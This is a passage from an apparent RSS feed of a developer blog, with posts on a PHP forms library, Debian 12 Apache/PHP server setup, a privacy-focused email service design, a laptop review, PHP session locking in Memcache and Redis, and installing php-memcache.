loads data from a relational database into a form, allows users to change the
data and then saves the data from the form back into the database. If you make a
lot of business software you have to create and design a lot of forms. To allow
you to create nice looking forms (using Bulma for instance) without having to
type a lot of boilerplate code I created MintyPHP Forms.</p>
<p>It allows you to write things like:</p>
<pre><code>$form = E::form([
  E::field(E::text('user')-&gt;required(),E::label('Username')),
  E::field(E::password('pass'),E::label('Password')),
  E::field(E::submit('Login')),
]);
</code></pre>
<p>That renders as:</p>
<p>
  
    <img src="/uploads/2025/mintyphp-forms-example_hu_86db8b69d3ea3903.webp" alt="example.png?v2" width="444" style="max-width: 444px;" />
  
</p>
<p>You can fill the form using:</p>
<pre><code>$form-&gt;fill($_POST);
</code></pre>
<p>And you can validate the data using:</p>
<pre><code>$form-&gt;validate(); // returns true or false
</code></pre>
<p>When the form validates you can extract it&rsquo;s data:</p>
<pre><code>$data = $form-&gt;extract(); // $data = ['user'=&gt;'...','pass'=&gt;'...']
</code></pre>
<p>You can render a filled and optionally validated form using:</p>
<pre><code>$form-&gt;render(); // outputs the form with data and errors
</code></pre>
<p>I&rsquo;ve implemented this without any dependencies and I&rsquo;ve written already 44 tests
to ensure that the code is stable and working. I&rsquo;m currently adding some more
tests and adding some documentation. Any feedback is more than welcome.</p>
<p>See: <a href="https://github.com/mintyphp/forms">https://github.com/mintyphp/forms</a></p>
<p>Enjoy!</p>
<h3 id="links--alternatives">Links / Alternatives</h3>
<ul>
<li><a href="https://github.com/formr/formr">Alternative #1: github.com/formr/formr</a></li>
<li><a href="https://github.com/formers/former">Alternative #2: github.com/formers/former</a></li>
<li><a href="https://github.com/oscarotero/form-manager">Alternative #3: github.com/oscarotero/form-manager</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install Apache 2.4 and PHP 8 on Debian 12</title>
      <link>https://www.tqdev.com/2025-install-apache-php-8-debian-12/</link>
      <pubDate>Sun, 13 Apr 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-install-apache-php-8-debian-12/</guid>
      <description>&lt;p&gt;Ubuntu 20.04 is EOL at the end of next month, so it&amp;rsquo;s time to reinstall all your
old web servers with Debian 12. Today I&amp;rsquo;ll share a post with all the
configuration that I apply on my web servers. While you could apply these with
Chef, Ansible or SaltStack (like a real pro), you can also type them in, like I
often do. I&amp;rsquo;m using Debian 12 netinst and configure &amp;ldquo;SSH server&amp;rdquo; and &amp;ldquo;standard
system utilities&amp;rdquo; as a default packages.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Ubuntu 20.04 is EOL at the end of next month, so it&rsquo;s time to reinstall all your
old web servers with Debian 12. Today I&rsquo;ll share a post with all the
configuration that I apply on my web servers. While you could apply these with
Chef, Ansible or SaltStack (like a real pro), you can also type them in, like I
often do. I&rsquo;m using Debian 12 netinst and configure &ldquo;SSH server&rdquo; and &ldquo;standard
system utilities&rdquo; as a default packages.</p>
<p>Install and enable firewall:</p>
<pre><code>sudo apt install ufw
sudo ufw allow 443
sudo ufw allow 80
sudo ufw allow 22
sudo ufw enable
</code></pre>
<p>Modify the SSHd config:</p>
<pre><code>sudo nano /etc/ssh/sshd_config
</code></pre>
<p>Change the line with “PasswordAuthentication” to:</p>
<pre><code>PasswordAuthentication no
</code></pre>
<p>Enable sudo access without password:</p>
<pre><code>echo '%sudo ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/nopass
</code></pre>
<p>Set root password to “”</p>
<pre><code>sudo apt install pwgen
pwgen 16 
sudo passwd root
</code></pre>
<p>Install some other tools:</p>
<pre><code>sudo apt install git wget gzip htop rsync curl less iotop ntp atop btop
</code></pre>
<p>Install and enable Apache webserver and PHP:</p>
<pre><code>sudo apt install apache2 libapache2-mpm-itk mariadb-client mariadb-server 
sudo apt install php-cli libapache2-mod-php php-curl php-gd php-igbinary php-intl 
sudo apt install php-mbstring php-memcached php-mysql php-xml php-zip memcached
</code></pre>
<p>Set the max allowed packet size to 1GB</p>
<pre><code>sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
</code></pre>
<p>Set the following (uncomment):</p>
<pre><code>max_allowed_packet     = 1G
</code></pre>
<p>Also for mysqldump:</p>
<pre><code>sudo nano /etc/mysql/conf.d/mysqldump.cnf
</code></pre>
<p>Set the following (increase from 16M):</p>
<pre><code>max_allowed_packet     = 1G
</code></pre>
<p>Now restart MariaDB using:</p>
<pre><code>sudo systemctl restart mysql
</code></pre>
<p>Set PHP upload and memory limit:</p>
<pre><code>sudo nano /etc/php/8.2/apache2/php.ini
</code></pre>
<p>Now make sure the following values are set:</p>
<pre><code>post_max_size = 25M
upload_max_filesize = 25M
memory_limit = 1G
</code></pre>
<p>Enable mod-rewrite and mod-ssl and reload:</p>
<pre><code>sudo a2enmod rewrite
sudo a2enmod ssl
sudo systemctl restart apache2
</code></pre>
<p>Install CertBot:</p>
<pre><code>sudo apt install certbot python3-certbot-apache
</code></pre>
<p>Make sure automatic updates are enabled:</p>
<pre><code>apt-get install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades
</code></pre>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Creating 103mail.com - Update 2</title>
      <link>https://www.tqdev.com/2025-creating-103mail-com-update-2/</link>
      <pubDate>Sun, 30 Mar 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-creating-103mail-com-update-2/</guid>
      <description>&lt;p&gt;A &lt;a href=&#34;https://tqdev.com/2024-creating-103mail-com-update-1&#34;&gt;while ago&lt;/a&gt; I told you
about the free email service I&amp;rsquo;m building that respects privacy and prevents
profiling on &lt;a href=&#34;https://103mail.com&#34;&gt;103mail.com&lt;/a&gt;. The reason? Microsoft and
Google operate most of the world&amp;rsquo;s email services and because email messages
often contain all previous content, they can profile all people in the world
(even people that do not use their services). When using 103mail.com the email
(content) will never leave the server. The outgoing email will be replaced with
a notification with a link to the web mail viewer. Thus the outgoing mail
content can only be viewed over the web and people or servers reading the mail
will be logged.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A <a href="https://tqdev.com/2024-creating-103mail-com-update-1">while ago</a> I told you
about the free email service I&rsquo;m building that respects privacy and prevents
profiling on <a href="https://103mail.com">103mail.com</a>. The reason? Microsoft and
Google operate most of the world&rsquo;s email services and because email messages
often contain all previous content, they can profile all people in the world
(even people that do not use their services). When using 103mail.com the email
(content) will never leave the server. The outgoing email will be replaced with
a notification with a link to the web mail viewer. Thus the outgoing mail
content can only be viewed over the web and people or servers reading the mail
will be logged.</p>
<h3 id="introducing-the-chat-model-to-email">Introducing the &ldquo;chat model&rdquo; to email</h3>
<p>Even though I wanted 103mail.com to be a standard compliant IMAP/SMTP server,
but I have changed my mind. I tried to implement it as such, but that showed me
all the weirdness of email clients. I think this has to do with the design of
the email as a protocol to exchange individual messages. This does not match
it&rsquo;s use-case as a protocol to facilitate a conversation between multiple
people. Let me illustrate this by giving you some of the many questions that are
difficult to answer:</p>
<ul>
<li>When you cc somebody on a thread, does that person receive the whole mail
thread until then and does that include attachments?</li>
<li>When you reply to a message half-way a thread, how do other recipients see
that non-linear conversation?</li>
<li>When somebody leaves out somebody else from the conversation, how do the other
recipients notice this?</li>
<li>What happens when you delete a message half-way a thread? Since most other
messages contain all content, why is it possible?</li>
<li>What happens with new replies on a thread when you move a thread from you
inbox to another folder?</li>
</ul>
<p>Okay, so I think I have a better model and it is the &ldquo;chat model&rdquo; where a
conversation is a ongoing message exchange between 2 or more people. This
answers the above questions as: yes, not possible (x3), you move the whole
thread. Then you get to other questions about mailboxes and folders such as:</p>
<ul>
<li>What is an inbox? Does that also show messages you&rsquo;ve sent?</li>
<li>What is sent-items? Does that also show messages you received?</li>
<li>Can messages be in multiple folders?</li>
<li>Does every folder show the full thread?</li>
<li>Do you tag a thread or do you move it?</li>
</ul>
<p>You can look at many mail clients and come to the conclusion that although we
kind-of know how to work with the system, it is hard to explain. In the &ldquo;chat
model&rdquo; this is much clearer. The inbox is where new conversations land, there is
no such thing as sent-items, but you may search for it (it could be a filter).
Messages are in one conversation and a conversation is in one box (and cannot
move to another box, as that is related to your identity. It is also in one
folder, but it can move from one folder to another (within the box). This means
you always see the full thread and folders are not tags. You could also have
tags (or colors/flags etc) as some email clients do.</p>
<h3 id="two-data-models">Two data models</h3>
<p>There is a model around global (immutable) threads (to avoid duplication):</p>
<pre><code>g_thread (subject) --[has many]--&gt; g_message (body)
g_message (body) --[has many]--&gt; g_attachment (filename)
g_thread (subject) --[has many]--&gt; g_subscription (email address)
</code></pre>
<p>And there is the customer (or user) specific view of these threads:</p>
<pre><code>customer (name) --[has many]--&gt; user (username)
customer (name) --[has many]--&gt; contact (email)
customer (name) --[has many]--&gt; mailbox (email)
mailbox (email) --[has many]--&gt; alias (email)
mailbox (email) --[has many]--&gt; folder (name)
folder (name) --[has many]--&gt; thread (g_thread)
thread (g_thread) --[has many]--&gt; message (g_message)
message (g_message) --[has many]--&gt; attachment (g_attachment)
</code></pre>
<p>The name between round brackets the most important property of the table.</p>
<h3 id="whats-next">What&rsquo;s next?</h3>
<p>Well, I did a lot of work on the email data model (chat model) and I&rsquo;m planning
to open-source it. I&rsquo;m still working on defining an API for exchanging data in
that model. I&rsquo;m doing this by implementing the API and the first web client on
103mail.com. The first web client and the API are both work-in-progress. You can
see what I got so far here:</p>
<p><a href="https://www.103mail.com/api">https://www.103mail.com/api</a></p>
<p>Reach out if you want to help me build this.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2024-creating-103mail-com-the-plan">TQdev.com - 103mail.com - The plan</a>
(2024-04-11)</li>
<li><a href="https://tqdev.com/2024-creating-103mail-com-update-1">TQdev.com - 103mail.com - Update 1</a>
(2024-04-12)</li>
<li>TQdev.com - 103mail.com - Update 2 (2025-03-30)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-3">TQdev.com - 103mail.com - Update 3</a>
(2025-11-18)</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>A laptop I can learn to love: HP 17-cp3076nd</title>
      <link>https://www.tqdev.com/2025-a-laptop-i-can-learn-to-love-hp-17-cp3076nd/</link>
      <pubDate>Wed, 19 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-a-laptop-i-can-learn-to-love-hp-17-cp3076nd/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t like laptops. They are slow, have small screens and horrible keyboards
and track pads. When I have to work on them for a longer period of time my back
starts to ache. Next to that they often can&amp;rsquo;t be upgraded or repaired, because
the storage and memory are soldered or glued onto the motherboard. And when you
want to run Linux you are often disappointed by the (unsupported) exotic
hardware. Nevertheless every now and then a loved one asks me to buy a laptop
for them and they expect me to know which one is the best.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I don&rsquo;t like laptops. They are slow, have small screens and horrible keyboards
and track pads. When I have to work on them for a longer period of time my back
starts to ache. Next to that they often can&rsquo;t be upgraded or repaired, because
the storage and memory are soldered or glued onto the motherboard. And when you
want to run Linux you are often disappointed by the (unsupported) exotic
hardware. Nevertheless every now and then a loved one asks me to buy a laptop
for them and they expect me to know which one is the best.</p>
<p>Although an Apple MacBook Pro M4 seems like the ultimate laptop with it&rsquo;s 16
inch screen, 48GB RAM and 1TB SSD it clearly is not at EUR 4749. The HP
17-cp3076nd with it&rsquo;s 8 core CPU maxed out with 64GB RAM and 2TB NVMe storage
can be had for about 25% of that price at EUR 1143.</p>
<pre><code> 829 HP 17-cp3076nd with 8 core AMD 7730U CPU - Laptop
 125 64GB 3200Mhz DDR4 2xSODIMM Corsair Vengeance - Memory
 189 2TB Samsung 990 Pro - Disk drive
----+
1143 EUR total price
</code></pre>
<p>For a developer the Apple M4 is certainly the worse choice. It may have twice
the CPU cores, but ARM is a pain when developing and testing software for
deployment to your x86 powered Debian web servers. The HP laptop runs Windows 10
and Linux Mint 22.1 XFCE without a problem, allows you to disable TPM and secure
boot and the laptop is easy to open for upgrades and repairs.</p>
<p>A complaint I&rsquo;ve heard about the HP 17-cp3076nd is that the CPU fan can be a
little noisy under load, which is true. What I didn&rsquo;t read is that the laptop
can also be completely silent (most of the time under Linux). Note that if you
want the fan to be always on, this can be set in the BIOS that is quite limited,
but easy to use.</p>
<p>For my serious software development the HP 17-cp3076nd laptop is great. It has
the high-end x86 specs I love while it is still super affordable.</p>
<p>NB: This post was not written on request nor sponsored in any way. I just hate
to see developers buy the overpriced, barely usable, Apple MacBook Pro M4.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://support.hp.com/us-en/product/details/hp-17-laptop-pc-17-cp3000/model/2101549775?sku=8Y7S4EA">HP.com - HP Laptop 17-cp3076nd (8Y7S4EA) Specifications</a></li>
<li><a href="https://www.youtube.com/watch?v=6ht-zUM8cX4">YouTube - Notebook-Doktor.de: HP 17-cp0xxx von Innen – tauschen, wechseln, erweitern</a></li>
<li><a href="https://www.youtube.com/watch?v=fQRrwJ3xIR8">YouTube - Upgrading Newer HP 17.3&quot; Laptop With New RAM And M.2 NVMe SSD</a></li>
<li><a href="https://www.youtube.com/watch?v=NDqM8XtfqTU">YouTube - UberGeeks: HP 17 cn0023dx Upgrade Teardown Disassemble</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Store PHP sessions in Memcache or Redis</title>
      <link>https://www.tqdev.com/2025-storing-php-sessions-memcache-redis/</link>
      <pubDate>Fri, 03 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-storing-php-sessions-memcache-redis/</guid>
      <description>&lt;p&gt;You can store PHP sessions in Memcache or Redis. High traffic websites with
multiple application nodes choose either sticky sessions with file session
storage (recommended) or centralized Memcache or Redis session storage. If you
choose Memcache or Redis you should NOT rely on your favorite framework&amp;rsquo;s
implementation (see:
&lt;a href=&#34;https://tqdev.com/2022-php-session-locking-test-suite&#34;&gt;&amp;ldquo;A session locking test suite for PHP&amp;rdquo;&lt;/a&gt;).
But even if you rely on native implementations in PHP extensions you may run
into wrong default values. This post explains you how to configure PHP session
storage in Memcache and Redis and test that it locks properly.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You can store PHP sessions in Memcache or Redis. High traffic websites with
multiple application nodes choose either sticky sessions with file session
storage (recommended) or centralized Memcache or Redis session storage. If you
choose Memcache or Redis you should NOT rely on your favorite framework&rsquo;s
implementation (see:
<a href="https://tqdev.com/2022-php-session-locking-test-suite">&ldquo;A session locking test suite for PHP&rdquo;</a>).
But even if you rely on native implementations in PHP extensions you may run
into wrong default values. This post explains you how to configure PHP session
storage in Memcache and Redis and test that it locks properly.</p>
<h3 id="default-lock-times">Default lock times</h3>
<p>The default session locking as implemented by the &ldquo;files&rdquo; save_handler has no
expiration. This means that the lock is held as long as the request is executed.
If you use Memcache or Redis for session storage, then the lock is automatically
released after a certain amount of seconds. I don&rsquo;t know the exact reasoning for
this automatic release, but I guess it is for robustness. In the case that a PHP
process crashes the &ldquo;flock&rdquo; locks that the &ldquo;files&rdquo; handler uses are
automatically released, while lock keys in Memcache or Redis are not
automatically removed. Below are the maximum session lock times (on a Debian
based Linux):</p>
<ul>
<li>php-memcache: 15 seconds</li>
<li>php-memcached: 750 ms</li>
<li>php-redis: 20 ms (lock disabled by default)</li>
</ul>
<p>These defaults wildly vary and that does not make much sense. Before explaining
what would be a sensible time, lets explain something about PHP&rsquo;s maximum
execution time first.</p>
<h3 id="phps-maximum-execution-time">PHP&rsquo;s maximum execution time</h3>
<p>Find the max execution time:</p>
<pre><code>sudo grep -R max_execution_time /etc/php
</code></pre>
<p>On a modern Debian based Linux servers this will show:</p>
<pre><code>/etc/php/8.3/cli/php.ini:max_execution_time = 30
/etc/php/8.3/apache2/php.ini:max_execution_time = 30
</code></pre>
<p>This means that PHP&rsquo;s maximum execution time is 30 seconds.</p>
<blockquote>
<p><code>The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.</code> -
<a href="https://www.php.net/set_time_limit">source</a></p></blockquote>
<p>So any script can take longer than the maximum execution time, by for instance
firing a slow database query (see also
<a href="https://wiki.php.net/rfc/max_execution_wall_time">this RFC</a>). The user will
only receive an error when the script runs longer than Apache wants to wait, as
defined in the Apache config:</p>
<pre><code>grep -R ^Timeout /etc/apache2/
</code></pre>
<p>By default it says:</p>
<pre><code>/etc/apache2/apache2.conf:Timeout 300
</code></pre>
<p>Note that the PHP script is not terminated when Apache breaks the connection
after 300 seconds. Note that in Nginx this variable is called
&ldquo;<code>fastcgi_read_timeout</code>&rdquo; and defaults to 60 seconds.</p>
<p>I feel that any request that takes more than 1 second server render time is
taking too long. But if you have API requests that do expensive queries AND that
use (even just read) the session, then you may want to have a lock timeout that
reflects your actual request runtime to avoid session write losses in other
requests for the same session. This may seem counter-intuitive, but read my
other posts on this topic to fully understand why this is true.</p>
<h3 id="using-phps-memcache-extension">Using PHP&rsquo;s Memcache extension</h3>
<p>Install using:</p>
<pre><code>sudo apt install memcached php-memcache
</code></pre>
<p>How to configure &ldquo;php.ini&rdquo;:</p>
<pre><code>session.save_handler=&quot;memcache&quot;
session.save_path=&quot;tcp://localhost:11211&quot;
</code></pre>
<p>What you may want to set in &ldquo;/etc/php/8.3/mods-available/memcache.ini&rdquo;:</p>
<pre><code>memcache.lock_timeout=300
</code></pre>
<p>Memcache defaults to 15 (seconds) of maximum lock time.</p>
<h3 id="using-phps-memcached-with-d-extension">Using PHP&rsquo;s Memcached (with d) extension</h3>
<p>Install using:</p>
<pre><code>sudo apt install memcached php-memcached
</code></pre>
<p>How to configure &ldquo;php.ini&rdquo;:</p>
<pre><code>session.save_handler=&quot;memcached&quot;
session.save_path=&quot;localhost:11211&quot;
</code></pre>
<p>What you may want to set in &ldquo;/etc/php/8.3/mods-available/memcached.ini&rdquo;:</p>
<pre><code>memcached.sess_lock_retries=2000
</code></pre>
<p>The default here is 5 retries, leading to 750 milliseconds as the maximum lock
time. By increasing the value factor 400 to 2000 retries we get 300 seconds of
maximum lock time.</p>
<h3 id="using-phps-redis-extension">Using PHP&rsquo;s Redis extension</h3>
<p>Install using:</p>
<pre><code>sudo apt install redis php-redis
</code></pre>
<p>How to configure &ldquo;php.ini&rdquo;:</p>
<pre><code>session.save_handler=&quot;redis&quot;
session.save_path=&quot;tcp://localhost:6379&quot;
</code></pre>
<p>What you may want to set in &ldquo;/etc/php/8.3/mods-available/redis.ini&rdquo;:</p>
<pre><code>redis.session.locking_enabled=1
redis.session.lock_wait_time=150000
redis.session.lock_retries=2000
</code></pre>
<p>Redis defaults to disabled, a wait time of 2000 (2ms) with 10 retries leading to
20 milliseconds of max lock time. Changing the values makes the session lock
work as expected.</p>
<h3 id="test-case">Test case</h3>
<p>In order to test the execution, you may install Apache2 using:</p>
<pre><code>sudo apt install apache2 libapache2-mod-php php curl
</code></pre>
<p>In the file &lsquo;/var/www/html/test.php&rsquo; we put:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_handler&#34;, &#34;memcache&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_path&#34;, &#34;tcp://localhost:11211&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;memcache.lock_timeout&#34;,&#34;300&#34;); // default 15 (15s)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_handler&#34;, &#34;memcached&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_path&#34;, &#34;localhost:11211&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;memcached.sess_lock_wait_min&#34;,&#34;150&#34;); // default 150 (150ms)
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;memcached.sess_lock_wait_max&#34;,&#34;150&#34;); // default 150 (150ms)
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;memcached.sess_lock_retries&#34;,&#34;2000&#34;); // default 5 (try 5x)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_handler&#34;, &#34;redis&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;session.save_path&#34;, &#34;tcp://localhost:6379&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;redis.session.locking_enabled&#34;,&#34;1&#34;); // default 0 (disabled)
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;redis.session.lock_wait_time&#34;,&#34;150000&#34;); // default 2000 (2ms) 
</span></span></span><span class="line"><span class="cl"><span class="c1">//ini_set(&#34;redis.session.lock_retries&#34;,&#34;2000&#34;); // default 10 (try 10x)    
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">session_start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;var&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">echo</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;var&#39;</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;var&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now we simply run &rsquo;test.sh&rsquo;:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="c1"># set up cookie jar with session cookie</span>
</span></span><span class="line"><span class="cl">curl -c cookies.txt http://localhost/test.php
</span></span><span class="line"><span class="cl"><span class="c1"># run processes and store pids in array</span>
</span></span><span class="line"><span class="cl"><span class="nv">pids</span><span class="o">=()</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> i in <span class="o">{</span>1..5<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  curl -b cookies.txt http://localhost/test.php <span class="p">&amp;</span>
</span></span><span class="line"><span class="cl">  pids<span class="o">[</span><span class="si">${</span><span class="nv">i</span><span class="si">}</span><span class="o">]=</span><span class="nv">$!</span>
</span></span><span class="line"><span class="cl"><span class="k">done</span>
</span></span><span class="line"><span class="cl"><span class="c1"># wait for all pids</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> pid in <span class="si">${</span><span class="nv">pids</span><span class="p">[*]</span><span class="si">}</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="nb">wait</span> <span class="nv">$pid</span>
</span></span><span class="line"><span class="cl"><span class="k">done</span>
</span></span><span class="line"><span class="cl"><span class="c1"># remove cookie jar</span>
</span></span><span class="line"><span class="cl">rm cookies.txt
</span></span><span class="line"><span class="cl"><span class="nb">echo</span>
</span></span></code></pre></div><p>Now you can run:</p>
<pre><code>bash test.sh
</code></pre>
<p>And it should output:</p>
<pre><code>12345
</code></pre>
<p>The script fires 5 threads that use the same session and print an increasing
counter. If the threads print &lsquo;12345&rsquo; your session locking works and if it
prints &lsquo;11111&rsquo; or even &lsquo;1&rsquo; then session locking has failed.</p>
<h3 id="session-locking-errors">Session locking errors</h3>
<p>You can check the &lsquo;/var/log/apache2/error.log&rsquo; for errors and you&rsquo;ll find that
when the session locking fails an error is reported there. The php-memcache
extension would show the worrying:</p>
<pre><code>AH00051: child pid 72055 exit signal Segmentation fault (11), possible coredump in /etc/apache2
</code></pre>
<p>The php-memcached extension would show:</p>
<pre><code>PHP Warning:  session_start(): Failed to read session data: memcached (path: localhost:11211) in /var/www/html/test.php on line 19
</code></pre>
<p>And the php-redis extension shows on a failing session lock:</p>
<pre><code>PHP Warning:  PHP Request Shutdown: Failed to write session data (redis). Please verify that the current setting of session.save_path is correct (tcp://localhost:6379) in Unknown on line 0
</code></pre>
<p>All in all you would probably find out what the problem is and that the default
values configured in these plugins are not what they should have been. I hope
this post helped you understand and solve session storage issues.</p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2022-php-session-locking-test-suite">TQdev.com - A session locking test suite for PHP</a></li>
<li><a href="https://tqdev.com/2022-proposal-to-fix-a-2012-bug-in-symfony">TQdev.com - Proposal to fix a 2012 bug in Symfony</a></li>
<li><a href="https://www.youtube.com/watch?v=KDAnIxhsflI">YouTube.com - Session management for high-traffic websites</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Install PHP memcache in PHP 8.3</title>
      <link>https://www.tqdev.com/2025-install-php-memcache-in-php-8-3/</link>
      <pubDate>Wed, 01 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-install-php-memcache-in-php-8-3/</guid>
      <description>&lt;p&gt;Memcache is a very fast cache that is a great addition to MariaDB and PHP. It is
simpler and more performant than Redis. I prefer Redis for session storage and
Memcache for application caching in my (high-performance) PHP projects.
Installing Memcache is very easy (on any Debian based Linux), all you have to do
is type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install memcached
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In order to allow PHP to talk to Memcache you need the &amp;ldquo;&lt;code&gt;php-memcache&lt;/code&gt;&amp;rdquo;
extension. You can install that with:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Memcache is a very fast cache that is a great addition to MariaDB and PHP. It is
simpler and more performant than Redis. I prefer Redis for session storage and
Memcache for application caching in my (high-performance) PHP projects.
Installing Memcache is very easy (on any Debian based Linux), all you have to do
is type:</p>
<pre><code>sudo apt install memcached
</code></pre>
<p>In order to allow PHP to talk to Memcache you need the &ldquo;<code>php-memcache</code>&rdquo;
extension. You can install that with:</p>
<pre><code>sudo apt install php-memcache
</code></pre>
<p>Now when you are running PHP 8.3 (the version that is distributed with Linux
Mint 22), then you may get this error message:</p>
<pre><code>Creation of dynamic property Memcache::$connection is deprecated
</code></pre>
<p>Now check the installed version of the Memcache extension using:</p>
<pre><code>echo '&lt;?php phpinfo();' | php | grep 'memcache support' -A1
</code></pre>
<p>You probably see this:</p>
<pre><code>memcache support =&gt; enabled
Version =&gt; 4.0.5.2
</code></pre>
<p>This is due to the version in the repository being a bit behind (4.0.5.2 is from
2019-12-20). You can install this latest version by running:</p>
<pre><code>sudo apt install php-dev zlib1g-dev
sudo apt install php-pear
sudo pecl channel-update pecl.php.net
sudo pecl install memcache
</code></pre>
<p>Now check the installed version of the Memcache extension (again) using:</p>
<pre><code>echo '&lt;?php phpinfo();' | php | grep 'memcache support' -A1
</code></pre>
<p>If you correctly installed the latest version it should say:</p>
<pre><code>memcache support =&gt; enabled
Version =&gt; 8.2
</code></pre>
<p>You may want to set in &ldquo;/etc/php/8.3/mods-available/memcache.ini&rdquo;:</p>
<pre><code>memcache.lock_timeout=300
</code></pre>
<p>Memcache defaults to 15 (seconds) of maximum lock time and while that works, I
think that is a bit low. Now all you need to do is restart Apache or any other
webserver that you are using:</p>
<pre><code>sudo systemctl restart apache2
</code></pre>
<p>That&rsquo;s all. I hope this post helped you!</p>
<p>NB: You may also simply switch from &ldquo;Memcache&rdquo; to &ldquo;Memcached&rdquo; (if you don&rsquo;t
store sessions in it, see
<a href="https://tqdev.com/2025-storing-php-sessions-memcache-redis">next post</a>).</p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon Europe 2024 and 2023</title>
      <link>https://www.tqdev.com/2024-gophercon-europe-2024-and-2023/</link>
      <pubDate>Thu, 26 Dec 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-gophercon-europe-2024-and-2023/</guid>
      <description>&lt;p&gt;GopherCon Europe is a well known Go conference. We are listing the GopherCon
Europe 2023 and 2024 conference videos. The videos are posted on the
&lt;a href=&#34;https://www.youtube.com/channel/UCxm3-iHEMy7IkU0_gwDVGAQ&#34;&gt;GopherCon Europe Youtube channel&lt;/a&gt;
and are linked below.&lt;/p&gt;
&lt;h3 id=&#34;gophercon-europe-2024&#34;&gt;GopherCon Europe 2024&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=yQMlcrFk9Rk&#34;&gt;Martin Gallauner - From Java to Go: I Have a Hammer and See Nails Everywhere (16:54)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FBOzPJkedcw&#34;&gt;Robert Laszczak - Rethinking Domain-Driven Design in Go (28:41)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=yiVOJqXTWfc&#34;&gt;Raghav Roy - Using Formal Reasoning to Build Concurrent Go Systems (29:27)&lt;/a&gt;&lt;/li&gt;
